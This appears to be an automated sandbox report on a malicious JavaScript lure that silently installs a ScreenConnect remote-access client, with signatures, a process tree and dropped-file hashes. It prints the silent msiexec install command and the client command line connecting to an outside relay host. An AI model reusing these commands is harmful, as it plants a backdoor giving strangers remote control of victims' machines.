Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 16:29

General

  • Target
    AR Statement/AR Statement.js
  • Size 6KB
  • Sample260803-ty96cstamf
  • SHA256 990112dc9c2c6e10da4c546e46f8afcea844444dd31e5dfff8c8ae9b07575a5b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\AR Statement\AR Statement.js"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:5368
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\File.ClientSetup.msi" /qb /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:3424
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4372
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5620
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3B55CB62D5D108071840638E6965C40B
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5444
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSIDBC0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240770593 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4496
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 923690D3ADB1B857393DA50009A6C595 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1964
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:4716
    • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.progradcivil.com&p=8041&s=5529f7c8-3590-4641-811b-7c6d3eec8431&k=BgIAAACkAABSU0ExAAgAAAEAAQAx0qL2jpoYOAF3Tsd6pGKcizeC0iS%2bUIJueOSsTqqiYwwKKrohBjjuuw18dv5KE9%2f3GzPbLC9g1giqqGh4sdLEsytjhi3AoB5pBowurQUwtVm2OlWxEL1%2boq5MjCNI4PwMMRMV%2bSv8lavkTDp%2f4wYGB%2fudG1ee0q327wtLf4p%2bRUruWaw9gpGP8ja8ewI%2bMGO%2bQFaBE68tTNJTMLfTRNDmpiOSPuNw76KaErgjJWiqaGPC%2boKg5vzkf7lOpBO2Q%2bfKUtq0xrbgz6DevBOj6rDj3F69kMUSAsSAKr62MCYwdkGxJR0dPw4tyHLDZTTCaC5GEUOcN9aCWp7UtuASWcel"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4492
      • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe" "RunRole" "47df844b-e3a9-438e-be2d-47494b309a0b" "User"
        2⤵
        • Executes dropped EXE
        PID:2316
      • C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe" "RunRole" "c149e417-ef9a-494e-b992-547b688836f6" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2788

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59d71f.rbs

          • Path C:\Config.Msi\e59d71f.rbs
          • Size 214KB
          • SHA256 358c5ba10a34eaf9252fa879c6f91c365954a9e5356a6cd14d7cd04cc23fad5b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\Client.Override.resources
          • Size 33KB
          • SHA256 6ef5b2def8e031f662de01b668f4fb0e3f386cd591a5e316290525c0f828002d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\app.config
          • Size 2KB
          • SHA256 0e1363deb4a78ddb673919723bfbf3b31de2b2621df2f6bfd74c91aad899beca
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b913188d323d5306)\system.config
          • Size 950B
          • SHA256 ceef840968e7ea24c1864739991c1df5f2ffc2a71a0c754e485b532bf9a0ec52
          • MD5 SHA1 SHA512 TLSH

          File.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\File.ClientSetup.msi
          • Size 12.8MB
          • SHA256 f8d4db2294c4aa167f767de2e016b5498e7ccd1955002292769e50c9ca53c332
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIDBC0.tmp

          • Path C:\Windows\Installer\MSIDBC0.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSIDBC0.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSIDBC0.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSIDBC0.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSIDBC0.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIE690.tmp

          • Path C:\Windows\Installer\MSIE690.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 ab51554a557ea484fdf8301caee7161de1d620e46fc0942a8896853ab28efcfd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {97635a7e-fd83-4e61-b22d-418fb790b36b}_OnDiskSnapshotProp

          • Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{97635a7e-fd83-4e61-b22d-418fb790b36b}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 f009c92f064316aac7473a4ebcf7f8eb0d29e14b713a4fe690a315f91470d303
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2316-122-0x000000001BAF0000-0x000000001BC9A000-memory.dmp

          memory/2316-123-0x000000001BE30000-0x000000001BFB8000-memory.dmp

          memory/2316-121-0x000000001B540000-0x000000001B5CC000-memory.dmp

          memory/2316-126-0x0000000002920000-0x0000000002961000-memory.dmp

          memory/2316-119-0x00000000007A0000-0x0000000000836000-memory.dmp

          memory/2316-124-0x00000000010A0000-0x00000000010B8000-memory.dmp

          memory/2316-120-0x00000000010C0000-0x00000000010F6000-memory.dmp

          memory/2316-125-0x00000000028E0000-0x00000000028F8000-memory.dmp

          memory/4372-128-0x000001FCE0190000-0x000001FCE025D000-memory.dmp

          memory/4372-7-0x000001FCE0190000-0x000001FCE025D000-memory.dmp

          memory/4492-109-0x0000000004180000-0x0000000004252000-memory.dmp

          memory/4492-104-0x0000000003C90000-0x0000000003CC6000-memory.dmp

          memory/4492-105-0x0000000003F90000-0x0000000004022000-memory.dmp

          memory/4492-107-0x0000000003C00000-0x0000000003C41000-memory.dmp

          memory/4492-100-0x0000000003C40000-0x0000000003C90000-memory.dmp

          memory/4492-78-0x00000000013C0000-0x00000000013D8000-memory.dmp

          memory/4496-39-0x0000000005C90000-0x000000000624A000-memory.dmp

          memory/4496-38-0x0000000005520000-0x00000000056CA000-memory.dmp

          memory/4496-34-0x0000000003290000-0x000000000331C000-memory.dmp

          memory/4496-30-0x00000000031D0000-0x00000000031DA000-memory.dmp

          memory/4496-26-0x00000000031A0000-0x00000000031CE000-memory.dmp